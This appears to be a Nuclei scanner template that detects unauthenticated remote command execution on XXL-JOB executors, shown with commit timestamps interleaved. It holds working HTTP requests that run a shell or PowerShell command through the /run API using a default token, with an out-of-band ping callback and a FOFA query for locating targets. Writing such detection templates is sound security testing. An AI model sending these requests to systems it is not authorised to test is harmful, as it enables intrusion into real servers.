2023-11-17 07:44:01 +00:00
id : xxljob-executor-unauth
info :
name : XXL-JOB executor - Unauthorized Access
author : k3rwin
severity : critical
description : |
XXL-JOB is a distributed task scheduling platform. Its core design goals are rapid development, easy learning, lightweight, and easy expansion. The source code is now open and connected to the online product lines of many companies, ready to use out of the box. XXL-JOB is divided into two ends : admin and executor. The former is the background management page, and the latter is the client for task execution. The executor is not configured with authentication by default, and unauthorized attackers can execute arbitrary commands through the RESTful API.
reference :
- https://github.com/jas502n/xxl-job/blob/main/README.md
- https://github.com/vulhub/vulhub/blob/master/xxl-job/unacc/README.md
2024-09-10 09:08:16 +00:00
classification :
cpe : cpe:2.3:a:xuxueli:xxl-job:*:*:*:*:*:*:*:*
2023-11-17 07:44:01 +00:00
metadata :
verified : true
2023-11-20 06:35:10 +00:00
max-request : 2
2024-09-10 08:22:50 +00:00
vendor : xuxueli
2024-09-10 09:08:16 +00:00
product : xxl-job
fofa-query : app="XXL-JOB"
2023-11-17 07:44:01 +00:00
tags : xxljob,unauth,misconfig,rce
http :
- raw :
- |
POST /run HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
Xxl-Job-Access-Token : default_token
Content-Length : 396
{
"jobId": {{rand_int(1000)}},
"executorHandler": "demoJobHandler" ,
"executorParams": "demoJobHandler" ,
"executorBlockStrategy": "COVER_EARLY" ,
"executorTimeout": 0 ,
"logId": 1 ,
"logDateTime": 1586629003729 ,
"glueType": "GLUE_SHELL" ,
"glueSource": "ping {{interactsh-url}}" ,
"glueUpdatetime": 1586699003758 ,
"broadcastIndex": 0 ,
"broadcastTotal": 0
}
- |
POST /run HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
Xxl-Job-Access-Token : default_token
Content-Length : 396
{
"jobId": {{rand_int(1000)}},
"executorHandler": "demoJobHandler" ,
"executorParams": "demoJobHandler" ,
"executorBlockStrategy": "COVER_EARLY" ,
"executorTimeout": 0 ,
"logId": 1 ,
"logDateTime": 1586629003729 ,
"glueType": "GLUE_POWERSHELL" ,
"glueSource": "ping {{interactsh-url}}" ,
"glueUpdatetime": 1586699003758 ,
"broadcastIndex": 0 ,
"broadcastTotal": 0
}
stop-at-first-match : true
2023-11-20 06:35:10 +00:00
2023-11-17 07:44:01 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- '{"code":200}'
- type : status
status :
- 200
- type : word
part : interactsh_protocol
words :
2023-11-20 06:22:09 +00:00
- "dns"
2024-09-12 05:14:01 +00:00
# digest: 4a0a00473045022057ea11ad20d16a5ee120a58008d5f3c6789b7b4bd401d3aa241c107b8f5ff1130221008009f26c2c93f59e234851464a7da35a01c5fddf5ec6b2ad4f6e9c9fbccc00f9:922c64590222798bb761d5b6d8e72950